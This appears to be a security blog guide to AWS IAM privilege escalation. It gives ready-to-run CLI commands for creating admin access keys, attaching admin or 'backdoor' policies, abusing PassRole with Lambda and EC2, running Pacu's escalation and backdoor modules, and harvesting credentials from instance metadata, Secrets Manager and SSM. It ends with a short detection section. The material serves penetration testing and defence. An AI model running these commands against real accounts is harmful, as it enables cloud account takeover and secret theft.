AWS IAM Privilege Escalation: Misconfigured Permissions and Attack Paths

AWS Identity and Access Management (IAM) misconfigurations are among the most critical security risks in cloud environments. Overly permissive IAM policies, unused privilege escalation paths, and misconfigured role trust relationships allow attackers who compromise any AWS credential to escalate from limited access to full administrative control — often without triggering alerts. This guide covers IAM privilege escalation techniques from an attacker’s perspective, based on research by Rhino Security Labs and the AWS documentation.

Initial Enumeration

# Identify current identity
aws sts get-caller-identity

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy-version --policy-arn arn:aws:iam::123456789:policy/ExamplePolicy --version-id v1

# List roles you can assume
aws iam list-roles | grep -i 'RoleName\|AssumeRolePolicyDocument'

# Using enumerate-iam.py (automated)
python3 enumerate-iam.py --access-key AKIA... --secret-key ... --region us-east-1

Key Privilege Escalation Paths

1. iam:CreateAccessKey

# Create new access keys for another user (including admin)
aws iam create-access-key --user-name admin_user
# Returns new AccessKeyId and SecretAccessKey with admin privileges

2. iam:AttachUserPolicy

# Attach AdministratorAccess to your own user
aws iam attach-user-policy \
  --user-name YOUR_USERNAME \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

3. iam:CreatePolicy + iam:AttachUserPolicy

# Create a custom admin policy
aws iam create-policy --policy-name backdoor --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
# Attach it to yourself
aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::123456789:policy/backdoor

4. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction

# Create Lambda that runs as admin role
aws lambda create-function \
  --function-name escalate \
  --runtime python3.9 \
  --role arn:aws:iam::123456789:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Lambda code: attach AdministratorAccess to attacker user
aws lambda invoke --function-name escalate output.txt

5. iam:PassRole + ec2:RunInstances

# Launch EC2 with admin role, use instance metadata for credentials
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminProfile
# IMDSv1: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

Automated Discovery with Pacu

pip3 install pacu
pacu
# In Pacu shell:
import_keys --access-key AKIA... --secret-key ...
run iam__enum_permissions
run iam__privesc_scan
run iam__backdoor_users_keys

Pacu (Rhino Security Labs) is the AWS exploitation framework. The iam__privesc_scan module automatically identifies all privilege escalation paths available to the current principal.

Assume Role Attacks

# List roles with overly permissive trust policies
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal=="*"]]'

# Assume a role
aws sts assume-role \
  --role-arn arn:aws:iam::123456789:role/AdminRole \
  --role-session-name pentest
# Returns temporary credentials with that role's permissions

Credential Harvesting

# EC2 instance metadata (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# Lambda environment variables
aws lambda get-function --function-name myFunction  # May expose env vars with secrets

# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/db/password

# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name /prod/apikey --with-decryption

Detection and Prevention

AWS CloudTrail logs all IAM API calls. Alert on: iam:AttachUserPolicy, iam:CreateAccessKey, iam:CreatePolicy, and sts:AssumeRole from unusual principals. Use AWS IAM Access Analyzer to detect overly permissive policies and external access. Apply least-privilege by using AWS IAM’s permission boundaries, SCPs (Service Control Policies) in AWS Organizations, and regularly review IAM Credential Reports. Enable GuardDuty for automatic detection of anomalous API calls.

Conclusion

AWS IAM privilege escalation exploits the gap between intended and actual IAM permissions. Rhino Security Labs documented 21+ privilege escalation paths. Use Pacu for automated discovery, manually check for iam:CreateAccessKey, iam:AttachUserPolicy, and iam:PassRole + compute service combinations. Organizations should implement IAM Access Analyzer, permission boundaries, and CloudTrail alerts on sensitive IAM operations.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top